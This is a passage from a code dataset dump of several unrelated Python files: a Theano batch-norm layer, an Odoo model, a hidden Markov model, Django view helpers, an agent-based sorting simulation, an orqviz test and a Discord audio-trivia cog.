theano.config.floatX) # TODO: this could be made part of the initial parameters\n if initial_parameters is None:\n beta_values = np.zeros((self._input_layer.getOutputShape()[0],), theano.config.floatX)\n avg_batch_mean_values = np.zeros((self._input_layer.getOutputShape()[0],), theano.config.floatX)\n else:\n if 'beta' not in initial_parameters:\n raise Exception('Initialization parameter \\'beta\\' not found')\n if 'avg_batch_mean' not in initial_parameters:\n raise Exception('Initialization parameter \\'avg_batch_mean\\' not found')\n if initial_parameters['beta'].shape != (self._input_layer.getOutputShape()[0],):\n raise Exception('Initialization parameter \\'beta\\' must have shape (%s) but has shape (%s)'\n % (str(self._input_layer.getOutputShape()[0]), ','.join(map(str, initial_parameters['beta'].shape))))\n if initial_parameters['avg_batch_mean'].shape != (self._input_layer.getOutputShape()[0],):\n raise Exception('Initialization parameter \\'avg_batch_mean\\' must have shape (%s) but has shape (%s)'\n % (str(self._input_layer.getOutputShape()[0]), ','.join(map(str, initial_parameters['avg_batch_mean'].shape))))\n beta_values = initial_parameters['beta']\n avg_batch_mean_values = initial_parameters['avg_batch_mean']\n self._beta = theano.shared(beta_values, borrow=True)\n self._avg_batch_mean = theano.shared(avg_batch_mean_values, borrow=True)\n #self._avg_batch_mean_prediction = theano.shared(avg_batch_mean_prediction_values, borrow=True)\n self._addParameterEntry(self._beta, 'beta', is_trainable=True)\n self._addParameterEntry(self._avg_batch_mean, 'avg_batch_mean', is_trainable=False)\n #self._addParameterEntry(self._avg_batch_mean_prediction, 'avg_batch_mean_prediction', is_trainable=False)\n # Batch normalization running average parameter: alpha * new + (1 - alpha) * old\n if self._average_statistics_over_predictions == True:\n self._bn_updates += [(self._avg_batch_mean, self._alpha * self._batch_mean_prediction + (1. - self._alpha) * self._avg_batch_mean)]\n else:\n self._bn_updates += [(self._avg_batch_mean, self._alpha * self._batch_mean + (1. - self._alpha) * self._avg_batch_mean)]\n # TODO: Does not seem important, remove\n #self._bn_updates_prediction += [(self._avg_batch_mean_prediction, self._alpha * self._batch_mean_prediction + (1. - self._alpha) * self._avg_batch_mean_prediction)]\n #self._bn_updates_swap += [(self._avg_batch_mean, self._avg_batch_mean_prediction),\n # (self._avg_batch_mean_prediction, self._avg_batch_mean)]\n\n if self.isOutputFeatureMap():\n # The parameters (shared variables) are still only 1d\n self._beta = self._beta[:,None,None]\n self._batch_mean = self._batch_mean[:,None,None]\n self._avg_batch_mean = self._avg_batch_mean[:,None,None]\n \n if self._enable_scale:\n avg_batch_inv_std_prediction_values = np.ones((self._input_layer.getOutputShape()[0],), theano.config.floatX) # TODO: this could be made part of the initial parameters\n if initial_parameters is None:\n gamma_values = np.ones((self._input_layer.getOutputShape()[0],), theano.config.floatX)\n avg_batch_inv_std_values = np.ones((self._input_layer.getOutputShape()[0],), theano.config.floatX)\n else:\n if 'beta' not in initial_parameters:\n raise Exception('Initialization parameter \\'gamma\\' not found')\n if 'avg_batch_mean' not in initial_parameters:\n raise Exception('Initialization parameter \\'avg_batch_inv_std\\' not found')\n if initial_parameters['beta'].shape != (self._input_layer.getOutputShape()[0],):\n raise Exception('Initialization parameter \\'gamma\\' must have shape (%s) but has shape (%s)'\n % (str(self._input_layer.getOutputShape()[0]), ','.join(map(str, initial_parameters['gamma'].shape))))\n if initial_parameters['avg_batch_inv_std'].shape != (self._input_layer.getOutputShape()[0],):\n raise Exception('Initialization parameter \\'avg_batch_inv_std\\' must have shape (%s) but has shape (%s)' \n % (str(self._input_layer.getOutputShape()[0]), ','.join(map(str, initial_parameters['avg_batch_inv_std'].shape))))\n gamma_values = initial_parameters['gamma']\n avg_batch_inv_std_values = initial_parameters['avg_batch_inv_std']\n\n self._gamma = theano.shared(gamma_values, borrow=True)\n self._avg_batch_inv_std = theano.shared(avg_batch_inv_std_values, borrow=True)\n ###self._avg_batch_inv_std_prediction = theano.shared(avg_batch_inv_std_prediction_values, borrow=True) # TODO: Does not seem important, remove\n self._addParameterEntry(self._gamma, 'gamma', is_trainable=True)\n self._addParameterEntry(self._avg_batch_inv_std, 'avg_batch_inv_std', is_trainable=False)\n ###self._addParameterEntry(self._avg_batch_inv_std_prediction, 'avg_batch_inv_std_prediction', is_trainable=False) # TODO: Does not seem important, remove\n # Batch normalization running average parameter: alpha * new + (1 - alpha) * old\n if self._average_statistics_over_predictions == True:\n self._bn_updates += [(self._avg_batch_inv_std, self._alpha * self._batch_inv_std_prediction + (1. - self._alpha) * self._avg_batch_inv_std)]\n else:\n self._bn_updates += [(self._avg_batch_inv_std, self._alpha * self._batch_inv_std + (1. - self._alpha) * self._avg_batch_inv_std)]\n # TODO: Does not seem important, remove\n #self._bn_updates_prediction += [(self._avg_batch_inv_std_prediction, self._alpha * self._batch_inv_std_prediction + (1. - self._alpha) * self._avg_batch_inv_std_prediction)]\n #self._bn_updates_swap += [(self._avg_batch_inv_std, self._avg_batch_inv_std_prediction),\n # (self._avg_batch_inv_std_prediction, self._avg_batch_inv_std)]\n\n if self.isOutputFeatureMap():\n # The parameters (shared variables) are still only 1d\n self._gamma = self._gamma[:,None,None]\n self._batch_inv_std = self._batch_inv_std[:,None,None]\n self._avg_batch_inv_std = self._avg_batch_inv_std[:,None,None]\n\n self._a_train = self._batch_inv_std * self._gamma\n self._b_train = self._beta - self._batch_inv_std * self._gamma * self._batch_mean\n self._a_predict = self._avg_batch_inv_std * self._gamma\n self._b_predict = self._beta - self._avg_batch_inv_std * self._gamma * self._avg_batch_mean\n\n def getTrainOutput(self):\n if self._input_layer.isOutputDistribution():\n # Stochastic batch normalization implemented according to\n # Probabilistic Binary Neural Networks\n # J.W.T. Peters and M. Welling\n # https://arxiv.org/abs/1809.03368\n # arXiv version 10 Sep 2018\n x_in_mean, x_in_var = self._x_in_mean, self._x_in_var\n \n #if self._enable_shift:\n # x_in_mean = x_in_mean - self._batch_mean\n #if self._enable_scale:\n # x_in_mean = x_in_mean * self._batch_inv_std\n # x_in_mean = x_in_mean * self._gamma\n # x_in_var = x_in_var * T.sqr(self._batch_inv_std)\n # x_in_var = x_in_var * T.sqr(self._gamma)\n #if self._enable_shift:\n # x_in_mean = x_in_mean + self._beta\n #x_out_mean, x_out_var = x_in_mean, x_in_var\n x_out_mean = x_in_mean * self._a_train + self._b_train\n x_out_var = x_in_var * T.sqr(self._a_train)\n \n return x_out_mean, x_out_var\n else:\n x_in = self._x_in\n\n #if self._enable_shift:\n # x_in = x_in - self._batch_mean\n #if self._enable_scale:\n # x_in = x_in * self._batch_inv_std\n # x_in = x_in * self._gamma\n #if self._enable_shift:\n # x_in = x_in + self._beta\n #x_out = x_in\n x_out = x_in * self._a_train + self._b_train\n\n return x_out\n \n def getPredictionOutput(self):\n x_in = self._input_layer.getPredictionOutput()\n #if self._enable_shift:\n # x_in = x_in - self._avg_batch_mean\n #if self._enable_scale:\n # x_in = x_in * self._avg_batch_inv_std\n # x_in = x_in * self._gamma\n #if self._enable_shift:\n # x_in = x_in + self._beta\n #x_out = x_in\n x_out = x_in * self._a_predict + self._b_predict\n return x_out\n \n def getSampleOutput(self):\n x_in = self._input_layer.getSampleOutput()\n #if self._enable_shift:\n # x_in = x_in - self._avg_batch_mean\n #if self._enable_scale:\n # x_in = x_in * self._avg_batch_inv_std\n # x_in = x_in * self._gamma\n #if self._enable_shift:\n # x_in = x_in + self._beta\n #x_out = x_in\n x_out = x_in * self._a_predict + self._b_predict\n return x_out\n \n def getTrainUpdates(self):\n return self._input_layer.getTrainUpdates() + self._bn_updates\n\n def getLayerSpecificValues(self, layer_type):\n res = self._input_layer.getLayerSpecificValues(layer_type)\n if layer_type == self._layer_type:\n # updates for batchnorm statistics according to the prediction path\n if 'bn_updates_prediction' not in res:\n res['bn_updates_prediction'] = []\n res['bn_updates_prediction'] += self._bn_updates_prediction\n # updates that swap the batchnorm statistics of the train and the prediction path\n if 'bn_updates_swap' not in res:\n res['bn_updates_swap'] = []\n res['bn_updates_swap'] += self._bn_updates_swap\n return res\n \n def getOutputType(self):\n return 'real'\n \n def getMessage(self):\n param_names = [(p['name'], p['param'].get_value().shape) for p in self._parameter_entries]\n return self._input_layer.getMessage() + '\\n%20s: OutputShape=%15s, DistributionOutput=%d, Parameters=%s' % ('LayerBatchnorm', str(self.getOutputShape()), self.isOutputDistribution(), param_names)\n","sub_path":"network/LayerBatchnorm.py","file_name":"LayerBatchnorm.py","file_ext":"py","file_size_in_byte":14261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"92739087","text":"from odoo import api, fields, models\nfrom odoo.addons.l10n_pe_sunat_data.models.constants import CODE_TABLE_13, CODE_TABLE_17\n\n\nclass ResCompany(models.Model):\n _inherit = 'res.company'\n\n l10n_pe_plan_account_id = fields.Many2one(comodel_name='l10n_pe.datas',\n domain=[('table_code', '=', CODE_TABLE_17)],\n string='Plan de cuentas contables')\n l10n_pe_catalog_id = fields.Many2one(comodel_name='l10n_pe.datas',\n domain=[('table_code', '=', CODE_TABLE_13)],\n string='Código de catálogo')\n\n @api.model\n def default_get(self, fields_list):\n res = super(ResCompany, self).default_get(fields_list)\n domain = [\n ('table_code', '=', CODE_TABLE_17),\n ('code', 'in', ['01'])\n ]\n plan_account = self.env['l10n_pe.datas'].search(domain, limit=1)\n res.update({\n 'l10n_pe_plan_account_id': plan_account and plan_account.id or False\n })\n\n return res\n","sub_path":"l10n_pe_ple/models/res.py","file_name":"res.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"156248344","text":"import numpy as np\nimport numpy.random as nprandom\n\nclass HMM:\n '''Represents a hidden markov model (HMM), which can emit information by\n probabilistically transitioning between a set of hidden states, each of\n which can output a single variable.\n\n The class uses python's generator interface, so the outputs of a simulation\n can be iterated over. For example:\n\n >>> from hmm import HMM\n\n >>> s = 'how much wood would a wood chuck chuck if a wood chuck could chuck wood'.split()\n >>> model = HMM.from_events(s)\n >>> gen = iter(model)\n\n >>> ' '.join([next(gen) for _ in range(15)])\n 'how much wood would a wood chuck could chuck wood chuck chuck if a wood'\n\n >>> model.score(s)\n 0.25000000000000056\n '''\n def __init__(self, num_states, output_vars):\n '''Construct a randomized hidden markov model'''\n self.output_vars = list(set(output_vars))\n self.outputs = len(self.output_vars)\n self.states = num_states\n self.hidden_state = 0\n # A vector, P, such that each entry, P[i], stores the probability that\n # the model will be in state i at the start of the simulation, (t = 0)\n self.initial_states = nprandom.uniform(size=self.states)\n # A matrix, A, such that each entry, A[i,j] stores the time-independent\n # probability that the model will transition to state j when it is in\n # state i\n self.transitions = nprandom.uniform(size=(self.states, self.states))\n # A matrix, B, such that each entry, B[i,j] stores the probability that\n # the model will emit the jth output variable when it is in state i\n self.emissions = nprandom.uniform(size=(self.states, self.outputs))\n # Ensure that each of the probability distributions sum to 1.0\n self.normalize()\n\n def __iter__(self):\n '''Set up the HMM to begin a simulation by selecting an initial state'''\n probs = self.initial_states\n self.hidden_state = nprandom.choice(range(self.states), p=probs)\n return self\n\n def __next__(self):\n '''Simulate the HMM for one step by selecting an output variable,\n transitioning to a new hidden state, and returning the result\n '''\n state = self.hidden_state\n probs = self.transitions[state]\n # Choose an output variable\n idx = nprandom.choice(range(self.outputs), p=self.emissions[state])\n output = self.output_vars[idx]\n # Transition to the next state\n self.hidden_state = nprandom.choice(range(self.states), p=probs)\n\n return output\n\n @classmethod\n def from_events(cls, events, num_states=None):\n '''Factory method to construct a hidden markov model directly from a\n sequence of events, which the new model should be statistically likely\n to produce\n '''\n time = len(events)\n\n if num_states is None:\n num_states = time # assume maximum number of states\n elif isinstance(num_states, float):\n # or take a given percentage of the maximum number of states\n num_states = int(np.round(abs(num_states) * time))\n\n num_states = max(num_states, 1)\n num_states = min(num_states, time)\n model = cls(num_states, events)\n events = model.event_indices(events)\n\n return model.reconstruct_model(events)\n\n def event_indices(self, events):\n '''Convert a sequence of events to a sequence of indices in the set of\n output variables'''\n return [self.output_vars.index(e) for e in events]\n\n def normalize(self):\n '''Scale the probability distributions on the markov model, such that\n each row of each matrix sums to 1\n '''\n self.initial_states /= self.initial_states.sum()\n self.transitions /= self.transitions.sum(axis=1)[:,np.newaxis]\n self.emissions /= self.emissions.sum(axis=1)[:,np.newaxis]\n\n def is_valid(self):\n '''Return True if the probability distributions on the markov model are\n valid, meaning that each row of each matrix must sum to 1.0; meaning\n that each hidden state has exactly a 100% chance of transitioning to\n *some* state, and outputting *some* variable\n '''\n a_sum = self.transitions.sum(axis=1)\n a_valid = np.isclose(a_sum, 1).all()\n\n b_sum = self.emissions.sum(axis=1)\n b_valid = np.isclose(b_sum, 1).all()\n\n pi_sum = self.initial_states.sum()\n pi_valid = np.isclose(pi_sum, 1.0)\n\n return a_valid and b_valid and pi_valid\n\n def forward_probabilities(self, events):\n '''Construct and return a matrix, A, such that each entry, A[t,i],\n stores the probability that at time t we will have observed the first t\n of the given sequence of events, and end up in state i\n '''\n time = len(events)\n inits = np.ndarray((time, self.states))\n inits[0] = self.initial_states * self.emissions[:,events[0]]\n\n for t in range(1, time):\n for i in range(self.states):\n inits[t,i] = self.emissions[i,events[t]]\n inits[t,i] *= inits[t-1].dot(self.transitions[:,i])\n\n return inits\n\n def backward_probabilities(self, events):\n '''Construct and return a matrix, A, such that each entry, A[t,i],\n stores the probability that we will observe the last `T - t` variables\n in the sequence of events, given that the model is in state i at time t\n '''\n time = len(events)\n\n tails = np.ndarray((time, self.states))\n tails[-1] = np.ones(self.states)\n\n for t in range(time - 2, -1, -1):\n for i in range(self.states):\n tails[t,i] = np.sum(tails[t+1] * self.transitions[i] *\n self.emissions[:,events[t+1]]\n )\n\n return tails\n\n def reconstruct_model(self, events):\n '''Using the [Baum-Welch algorithm][1], iteratively improve the\n parameters of the model to maximize the likelihood that it will output\n the given sequence of events\n\n [1]: https://en.wikipedia.org/wiki/Baum%E2%80%93Welch_algorithm\n '''\n time = len(events)\n prev, score = 1.0, 0.0\n\n while not np.isclose(prev, score):\n inits = self.forward_probabilities(events)\n tails = self.backward_probabilities(events)\n\n # A matrix, γ, such that each entry, γ[t,i] stores the overall\n # probability that the model will be in state i at time t\n gamma = np.ndarray((time, self.states))\n\n for t in range(time):\n for i in range(self.states):\n gamma[t,i] = inits[t,i] * tails[t,i] / inits[t].dot(tails[t])\n\n # A matrix, ξ, such that ach entry, ξ[t,i,j] stores the probability\n # that at time t the model will transition from state i to state j\n xi = np.ndarray((time - 1, self.states, self.states))\n\n for t in range(xi.shape[0]):\n for i in range(xi.shape[1]):\n xi[t,i] = inits[t,i] * (tails[t+1] * self.transitions[i] *\n self.emissions[:,events[t+1]]\n ) / inits[-1].sum()\n\n # Update values\n self.initial_states = gamma[0]\n\n for i in range(self.states):\n for j in range(self.states):\n self.transitions[i,j] = xi[:,i,j].sum() / gamma[:,i][:-1].sum()\n\n for j in range(self.outputs):\n selection = [[int(j == e)] for e in events] * gamma\n self.emissions[:,j] = selection.sum(axis=0) / gamma.sum(axis=0)\n\n prev, score = score, self.score(events, matrix=tails)\n\n return self\n\n def score(self, events, matrix=None):\n '''Return the probability that the model will output the given sequence\n of events\n '''\n if matrix is None:\n events = self.event_indices(events)\n matrix = self.backward_probabilities(events)\n\n return np.max(matrix[0] * self.initial_states)\n","sub_path":"HMM/hmm.py","file_name":"hmm.py","file_ext":"py","file_size_in_byte":8135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"350534153","text":"import logging\nfrom collections import defaultdict\nfrom functools import wraps\nfrom json import dumps\n\nfrom django.conf import settings\nfrom django.conf.urls.defaults import patterns, url\nfrom django.contrib.messages import DEFAULT_TAGS, add_message\nfrom django.core.exceptions import PermissionDenied\nfrom django.core.urlresolvers import reverse\nfrom django.http import HttpResponse, HttpResponseBadRequest, HttpResponseRedirect\nfrom django.utils.http import urlquote\n\nfrom hitch.support.templates import render_template\n\nHTTPS_SCHEME = getattr(settings, 'HTTPS_SCHEME', 'https')\nMESSAGE_TAGS = dict([tuple(reversed(item)) for item in DEFAULT_TAGS.items()])\n\nlog = logging.getLogger(__name__)\n\ndef viewable(name, path, **params):\n params.update(name=name, path=path, viewable=True)\n params['ajax_only'] = params.get('ajax_only', False)\n params['authenticated'] = params.get('authenticated', False)\n params['secured'] = (params.get('secured', False) and HTTPS_SCHEME == 'https')\n \n def wrapper(view):\n view.__dict__.update(params)\n return view\n return wrapper\n\nclass Response(object):\n def __init__(self, request, view):\n self.context = {'request': request, 'view': view}\n self.cookies = []\n self.data = {}\n self.messages = []\n self.request = request\n self.view = view\n \n def authorize(self, permission):\n account = self.request.account\n if not (account and account.superuser):\n raise PermissionDenied()\n \n def collect(self, form):\n self.data.update(field_errors={}, form_errors=[])\n if isinstance(form.errors, list):\n for subform in form.forms:\n self._collect_errors(subform)\n else:\n self._collect_errors(form)\n return self\n \n def error(self, error='unknown-error', **params):\n self.data['error'] = error\n if params:\n self.data.update(params)\n return self\n \n def ignore(self, url='/'):\n if self.request.is_ajax():\n return HttpResponseBadRequest()\n else:\n return HttpResponseRedirect(url)\n \n def json(self, **params):\n data = self.data\n if params:\n data.update(params)\n \n data['messages'] = [{'text': msg[0], 'tag': msg[1]} for msg in self.messages]\n return self._apply_cookies(HttpResponse(dumps(data), mimetype='application/json'))\n\n def message(self, text, tag='info'):\n self.messages.append((text, tag))\n return self\n \n def permit(self, permission):\n account = self.request.account\n return (account and account.superuser)\n \n def redirect(self, url='/'):\n self._apply_messages()\n return self._apply_cookies(HttpResponseRedirect(url))\n \n def render(self, template, context=None, response=None, mimetype='text/html', **params):\n self._apply_messages() \n template_context = self.context\n if context:\n template_context.update(context)\n if params:\n template_context.update(params)\n \n response = response or HttpResponse(mimetype=mimetype)\n response.content = render_template(template, template_context)\n return self._apply_cookies(response)\n\n def set_cookie(self, *args, **params):\n self.cookies.append((args, params))\n return self\n \n def update(self, *args, **params):\n self.context.update(*args, **params)\n \n def _apply_cookies(self, response):\n for args, params in self.cookies:\n response.set_cookie(*args, **params)\n return response\n \n def _apply_messages(self):\n for text, tag in self.messages:\n add_message(self.request, MESSAGE_TAGS.get(tag, 20), text)\n \n def _collect_errors(self, form):\n prefix = ('%s-' % form.prefix if form.prefix else '')\n for field in form:\n if field.name in form.errors:\n errors = self.data['field_errors'][prefix + field.name] = []\n for error in form.errors[field.name]:\n errors.append(unicode(error))\n \n form_errors = form.errors.get('__all__')\n if isinstance(form_errors, (list, tuple)):\n self.data['form_errors'].extend(form_errors)\n elif form_errors:\n self.data['form_errors'].append(form_errors)\n \nclass ViewSetMeta(type):\n def __init__(cls, name, bases, namespace):\n super(ViewSetMeta, cls).__init__(name, bases, namespace)\n views = {}\n for key, value in namespace.iteritems():\n try:\n viewable = value.viewable\n if viewable:\n views[key] = value\n except (AttributeError, TypeError):\n pass\n if views:\n cls.declared_views = views\n cls.declared_viewsets.add(cls)\n \n @property\n def urlpatterns(cls):\n urls = []\n for viewset in cls.declared_viewsets:\n if issubclass(viewset, cls):\n for name, view in viewset.declared_views.iteritems():\n urls.append(url(view.path, viewset(name), name=view.name))\n \n urls.sort(cmp=cls._sort_url_patterns)\n return patterns('', *urls)\n \n @staticmethod\n def _sort_url_patterns(left, right):\n return cmp(len(left.regex.pattern), len(right.regex.pattern))\n \nclass ViewSet(object):\n __metaclass__ = ViewSetMeta\n declared_viewsets = set()\n \n def __init__(self, view):\n self._view = view\n \n def __call__(self, request, *args, **params):\n request.view = getattr(self, self._view)\n if request.view.ajax_only and not request.is_ajax():\n log.debug('rejecting non-ajax request to ajax only view')\n return HttpResponseBadRequest()\n if request.view.secured and not request.is_secure():\n if request.is_ajax():\n log.debug('rejecting unsecured ajax request to secured view') \n return HttpResponseBadRequest()\n else:\n log.debug('redirecting unsecured request to secured view')\n return HttpResponseRedirect('https://%s%s' % (request.META['HTTP_HOST'], request.get_full_path()))\n if request.view.authenticated and not request.account:\n if request.is_ajax():\n log.debug('rejecting unauthenticated ajax request to authenticated view')\n return HttpResponseBadRequest()\n else:\n log.debug('redirecting unauthenticated request to authenticated view')\n return HttpResponseRedirect('%s://%s%s?next=%s' % (HTTPS_SCHEME, request.META['HTTP_HOST'],\n reverse('account-login'), urlquote(request.get_full_path())))\n \n response = Response(request, self)\n try:\n return request.view(request, response, *args, **params)\n except PermissionDenied:\n log.debug('rejecting request due to insufficient permissions')\n return response.ignore()","sub_path":"hitch/support/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"517767744","text":"import random\nfrom random import randint\nfrom time import sleep, time\nfrom Agent import Agent\nfrom Environment import Environment\nfrom pynput.keyboard import Key, Listener, KeyCode\n\n# ============================================================================\n# =============================== PARAMETERS =================================\n# Environment constants\nGRID_SIZE_X = 50\nGRID_SIZE_Y = 50\nOBJECTS = (('A', 200), ('B', 200)) # , ('C', 200), ('D', 200))\n# Agents constants\nNB_AGENTS = 50\nMAX_MEMORY_SIZE = 10\nMOVES = 1 # i (ie, neighborhood)\nK_PICK = 0.1 # k+\nK_PUT = 0.3 # k-\nRECOGNITION_ERROR = 0\n# RECOGNITION_ERROR = 0\n\nMAX_ITER = int(1e7)\n\nPYGAME = True # Display the Pygame graphics\nCONSOLE = False # Print the grid in the console for every iteration\nVERBOSE = False # Shox iteration count in the console\n\n# ============================================================================\n# ============================================================================\n\n# REFRESH_FREQ = MAX_ITER // 1000\nREFRESH_FREQ = 1000\nLOOK_AROUND = False # Not used\nRANDOM_AGENT = True # Pick an agent whom will act at random (or pick each agent in round robin)\n\n# Runtime Vars\nPAUSE = False\nSTOP = False\n\nrandom.seed(0)\n\n\n# ===================== Helpers =======================\ndef print_helper_commands():\n print(\"Commandes de la simulation :\")\n print(\"I : Afficher les commandes de la simulation (ie, ceci)\")\n print(\"Q : Quitter la simulation\")\n print(\"Espace : Mettre en pause la simulation\")\n print(\"↑ (Flèche Haut) : Augmenter la vitesse de la simulation\")\n print(\"↓ (Flèche Bas) : Diminuer la vitesse de la simulation\")\n print(\"=========================\")\n print()\n\n\ndef on_press(key):\n global PAUSE\n global REFRESH_FREQ\n global STOP\n if key == Key.space:\n PAUSE = not PAUSE\n elif key == Key.up:\n REFRESH_FREQ = min(1e6, REFRESH_FREQ * 10)\n elif key == Key.down:\n REFRESH_FREQ = max(1, int(REFRESH_FREQ / 10))\n elif key == KeyCode(char=\"q\"):\n STOP = True\n elif key == KeyCode(char=\"i\"):\n print_helper_commands()\n # elif key == KeyCode(char=\"a\"):\n # grid.show_agent = not grid.show_agent\n # # print(GRID_BORDER, end=\"\\r\")\n # elif key == KeyCode(char=\"b\"):\n # grid.show_border = not grid.show_border\n # # print(GRID_UPDATE)\n # for i in range(len(GRID_UPDATES)):\n # kc = KeyCode(char=str(i))\n # if key == kc:\n # GRID_UPDATE[0] = GRID_UPDATES[i]\n # print(GRID_UPDATE)\n\n\ndef on_release(key):\n if key == Key.esc:\n # Stop listener\n return False\n\n\n# ====================================================\ni_agent = 0\n\n\ndef pick_agent(agents):\n if RANDOM_AGENT:\n return random.choice(agents)\n else:\n global i_agent\n a = agents[i_agent]\n i_agent = (i_agent + 1)%len(agents)\n return a\n\n\ndef init_agents(nb_agents: int, environment: Environment) -> [Agent]:\n agents = []\n for i in range(nb_agents):\n agents.append(Agent(environment, moves=MOVES, recognition_error=RECOGNITION_ERROR, k_pick=K_PICK,\n k_put=K_PUT, mem_size=MAX_MEMORY_SIZE))\n return agents\n\n\nif __name__ == '__main__':\n starting_time = time()\n listener = Listener(on_press=on_press, on_release=on_release)\n listener.start()\n print_helper_commands()\n env = Environment(objects=OBJECTS, grid_size=(GRID_SIZE_Y, GRID_SIZE_X), pygame=PYGAME, console=CONSOLE)\n agents = init_agents(NB_AGENTS, env)\n env.populate(agents)\n env.print_grids()\n sleep(1)\n for it in range(MAX_ITER):\n if PAUSE:\n print(\"PAUSE\")\n print(f\"Current iteration {it}/{MAX_ITER}\")\n while PAUSE:\n pass\n\n agent = pick_agent(agents)\n env.move(agent)\n agent.act()\n if it % REFRESH_FREQ == 0:\n if VERBOSE:\n print(f\"Iter {it}/{MAX_ITER}\")\n env.print_grids()\n\n if STOP:\n print(\"=========================\")\n print(f\"Iteration {it} on {MAX_ITER} (max)\")\n print(f\"Sort done in {time() - starting_time:.2f} seconds\")\n break\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"644192525","text":"import os\n\nimport numpy as np\n\nfrom orqviz.elastic_band.data_structures import Chain\nfrom orqviz.hessians import get_Hessian\nfrom orqviz.scans import perform_1D_scan, perform_2D_scan\nfrom orqviz.utils import OrqVizObject, load_viz_object, save_viz_object\n\n\ndef SUM_OF_SINES(params):\n return np.sum(np.sin(params))\n\n\ndef test_saving_and_loading_datatypes():\n origin = np.random.rand(2)\n direction_x = np.random.rand(2)\n direction_y = np.random.rand(2)\n n_steps_x = 2\n\n scan1d = perform_1D_scan(\n loss_function=SUM_OF_SINES,\n origin=origin,\n direction=direction_x,\n n_steps=n_steps_x,\n )\n\n scan2d = perform_2D_scan(\n origin=origin,\n loss_function=SUM_OF_SINES,\n direction_x=direction_x,\n direction_y=direction_y,\n n_steps_x=n_steps_x,\n )\n\n hessian = get_Hessian(params=origin, loss_function=SUM_OF_SINES)\n\n chain = Chain(np.linspace(origin, origin + direction_x, num=5))\n\n for data_object in [scan1d, scan2d, hessian, chain]:\n save_viz_object(data_object, \"test\")\n loaded_data_object = load_viz_object(\"test\")\n os.remove(\"test\")\n assert isinstance(loaded_data_object, OrqVizObject.__args__)\n assert type(loaded_data_object) == type(data_object)\n","sub_path":"tests/orqviz/utils_test.py","file_name":"utils_test.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"189112946","text":"import datetime\nimport pathlib\nfrom typing import List\n\nimport lavalink\nimport yaml\nfrom redbot.cogs.audio import Audio\nfrom redbot.cogs.trivia import LOG\nfrom redbot.cogs.trivia.trivia import InvalidListError, Trivia\nfrom redbot.core import commands, Config, checks\nfrom redbot.core.bot import Red\nfrom redbot.core.data_manager import cog_data_path\nfrom redbot.core.utils.chat_formatting import box\nfrom redbot.cogs.audio.utils import userlimit\n\nfrom .audiosession import AudioSession\n\n\nclass AudioTrivia(Trivia):\n \"\"\"\n Upgrade to the Trivia cog that enables audio trivia\n Replaces the Trivia cog\n \"\"\"\n\n def __init__(self, bot: Red):\n super().__init__()\n self.bot = bot\n self.audio = None\n self.audioconf = Config.get_conf(\n self, identifier=651171001051118411410511810597, force_registration=True\n )\n\n self.audioconf.register_guild(delay=30.0, repeat=True)\n\n @commands.group()\n @commands.guild_only()\n @checks.mod_or_permissions(administrator=True)\n async def atriviaset(self, ctx: commands.Context):\n \"\"\"Manage Audio Trivia settings.\"\"\"\n audioset = self.audioconf.guild(ctx.guild)\n settings_dict = await audioset.all()\n msg = box(\n \"**Audio settings**\\n\"\n \"Answer time limit: {delay} seconds\\n\"\n \"Repeat Short Audio: {repeat}\"\n \"\".format(**settings_dict),\n lang=\"py\",\n )\n await ctx.send(msg)\n\n @atriviaset.command(name=\"delay\")\n async def atriviaset_delay(self, ctx: commands.Context, seconds: float):\n \"\"\"Set the maximum seconds permitted to answer a question.\"\"\"\n if seconds < 4.0:\n await ctx.send(\"Must be at least 4 seconds.\")\n return\n settings = self.audioconf.guild(ctx.guild)\n await settings.delay.set(seconds)\n await ctx.send(\"Done. Maximum seconds to answer set to {}.\".format(seconds))\n\n @atriviaset.command(name=\"repeat\")\n async def atriviaset_repeat(self, ctx: commands.Context, true_or_false: bool):\n \"\"\"Set whether or not short audio will be repeated\"\"\"\n settings = self.audioconf.guild(ctx.guild)\n await settings.repeat.set(true_or_false)\n await ctx.send(\"Done. Repeating short audio is now set to {}.\".format(true_or_false))\n\n @commands.group(invoke_without_command=True)\n @commands.guild_only()\n async def audiotrivia(self, ctx: commands.Context, *categories: str):\n \"\"\"Start trivia session on the specified category.\n\n You may list multiple categories, in which case the trivia will involve\n questions from all of them.\n \"\"\"\n if not categories and ctx.invoked_subcommand is None:\n await ctx.send_help()\n return\n\n if self.audio is None:\n self.audio: Audio = self.bot.get_cog(\"Audio\")\n\n if self.audio is None:\n await ctx.send(\"Audio is not loaded. Load it and try again\")\n return\n\n categories = [c.lower() for c in categories]\n session = self._get_trivia_session(ctx.channel)\n if session is not None:\n await ctx.send(\"There is already an ongoing trivia session in this channel.\")\n return\n status = await self.audio.config.status()\n notify = await self.audio.config.guild(ctx.guild).notify()\n\n if status:\n await ctx.send(\n \"It is recommended to disable audio status with `{}audioset status`\".format(ctx.prefix)\n )\n\n if notify:\n await ctx.send(\n \"It is recommended to disable audio notify with `{}audioset notify`\".format(ctx.prefix)\n )\n\n if not self.audio._player_check(ctx):\n try:\n if not ctx.author.voice.channel.permissions_for(\n ctx.me\n ).connect or userlimit(ctx.author.voice.channel):\n return await ctx.send(\"I don't have permission to connect to your channel.\")\n await lavalink.connect(ctx.author.voice.channel)\n lavaplayer = lavalink.get_player(ctx.guild.id)\n lavaplayer.store(\"connect\", datetime.datetime.utcnow())\n except AttributeError:\n return await ctx.send(\"Connect to a voice channel first.\")\n\n lavaplayer = lavalink.get_player(ctx.guild.id)\n lavaplayer.store(\"channel\", ctx.channel.id) # What's this for? I dunno\n\n await self.audio._data_check(ctx)\n\n if not ctx.author.voice or ctx.author.voice.channel != lavaplayer.channel:\n return await ctx.send(\n \"You must be in the voice channel to use the audiotrivia command.\"\n )\n\n trivia_dict = {}\n authors = []\n for category in reversed(categories):\n # We 